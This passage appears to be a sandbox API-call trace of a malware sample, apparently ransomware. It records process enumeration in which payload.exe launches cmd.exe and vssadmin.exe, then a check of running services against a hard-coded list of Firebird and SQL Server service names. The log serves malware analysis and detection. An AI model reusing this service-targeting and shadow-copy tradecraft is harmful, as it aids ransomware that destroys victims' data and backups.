th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0043.911] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0043.911] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0043.911] lstrlenW (lpString="current.exe") returned 11 [0043.911] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.912] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.912] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.912] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.912] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.913] lstrlenW (lpString="taskhost.exe") returned 12 [0043.913] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0043.913] lstrlenW (lpString="payload.exe") returned 11 [0043.913] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.913] lstrlenW (lpString="cmd.exe") returned 7 [0043.913] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.914] lstrlenW (lpString="conhost.exe") returned 11 [0043.914] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.914] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.914] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0043.915] lstrlenW (lpString="VSSVC.exe") returned 9 [0043.915] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.915] lstrlenW (lpString="svchost.exe") returned 11 [0043.915] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0043.916] CloseHandle (hObject=0x18c) returned 1 [0043.916] Sleep (dwMilliseconds=0x1f4) [0044.576] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ee2080 [0044.576] EnumServicesStatusExW (in: hSCManager=0x3ee2080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0044.589] GetLastError () returned 0xea [0044.589] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0044.623] EnumServicesStatusExW (in: hSCManager=0x3ee2080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0044.623] CloseServiceHandle (hSCObject=0x3ee2080) returned 1 [0044.623] lstrlenW (lpString="Appinfo") returned 7 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.624] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.624] lstrlenW (lpString="AudioSrv") returned 8 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.624] lstrlenW (lpString="BFE") returned 3 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.624] lstrlenW (lpString="CryptSvc") returned 8 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.624] lstrlenW (lpString="CscService") returned 10 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.624] lstrlenW (lpString="DcomLaunch") returned 10 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.624] lstrlenW (lpString="Dhcp") returned 4 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.624] lstrlenW (lpString="Dnscache") returned 8 [0044.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.624] lstrlenW (lpString="DPS") returned 3 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.625] lstrlenW (lpString="eventlog") returned 8 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.625] lstrlenW (lpString="EventSystem") returned 11 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.625] lstrlenW (lpString="gpsvc") returned 5 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.625] lstrlenW (lpString="iphlpsvc") returned 8 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.625] lstrlenW (lpString="LanmanServer") returned 12 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.625] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.625] lstrlenW (lpString="lmhosts") returned 7 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.625] lstrlenW (lpString="MMCSS") returned 5 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.625] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.625] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.625] lstrlenW (lpString="MpsSvc") returned 6 [0044.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.626] lstrlenW (lpString="Netman") returned 6 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.626] lstrlenW (lpString="netprofm") returned 8 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.626] lstrlenW (lpString="NlaSvc") returned 6 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.626] lstrlenW (lpString="nsi") returned 3 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.626] lstrlenW (lpString="PcaSvc") returned 6 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.626] lstrlenW (lpString="PlugPlay") returned 8 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.626] lstrlenW (lpString="Power") returned 5 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.626] lstrlenW (lpString="ProfSvc") returned 7 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.626] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.626] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.627] lstrlenW (lpString="RpcSs") returned 5 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.627] lstrlenW (lpString="SamSs") returned 5 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.627] lstrlenW (lpString="Schedule") returned 8 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.627] lstrlenW (lpString="SENS") returned 4 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.627] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.627] lstrlenW (lpString="Spooler") returned 7 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.627] lstrlenW (lpString="swprv") returned 5 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0044.627] lstrlenW (lpString="SysMain") returned 7 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.627] lstrlenW (lpString="Themes") returned 6 [0044.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.628] lstrlenW (lpString="TrkWks") returned 6 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.628] lstrlenW (lpString="UxSms") returned 5 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.628] lstrlenW (lpString="VSS") returned 3 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.628] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.628] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.628] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.628] lstrlenW (lpString="Winmgmt") returned 7 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.628] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.628] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.628] lstrcmpiW (lpString1="mssqlserver", 